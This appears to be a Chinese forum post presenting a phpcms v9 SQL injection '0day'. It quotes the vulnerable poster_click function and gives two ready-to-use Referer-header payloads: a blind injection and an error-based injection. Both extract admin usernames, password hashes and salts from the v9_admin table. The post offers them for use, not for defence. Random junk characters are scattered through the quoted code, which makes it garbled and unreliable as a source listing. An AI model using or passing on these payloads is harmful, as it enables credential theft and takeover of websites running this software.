phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ R$ m( q) K! W' J3 G% H* B7 o
问题函数\phpcms\modules\poster\index.php
. r* ?* H  m4 O6 R, e- M8 `& i: y
! @# Y- }$ Q6 L) `) Y' \+ K' Epublic function poster_click() {
  l" t7 g7 W1 P- Y2 ?) l  [$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
1 G) g/ b1 g" }2 l  s$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% _; @# G0 T+ xif($id) {
/ _! R* A9 d5 N5 `* T! c$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 x) M$ N/ X& ]: e# ?2 x$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
3 w: n0 v; o7 Q$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
/ X- K% y! q$ V  ]1 |4 c) |/ f- ]: C$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
' M2 H2 L0 l- v* E& p$ L" {8 d$ h, Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
8 E! b" X' L( q& {- Yheader('Location: '.$url);
8 [5 v/ a: ^1 a( p" R2 `: {}
" E' c5 g% B' O


利用方式：

) A5 [  Z9 W1 O8 c! z; ~1、可以采用盲注入的手法：
0 n9 ]- u* R2 Q
# ^' L2 r. C. t( ]  b2 }: j6 |referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
+ H3 b+ _& ^# J8 f! _2 g
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

% t4 ?/ n0 V) A% v* X: P7 F6 k此方法是爆错注入手法，原理自查。
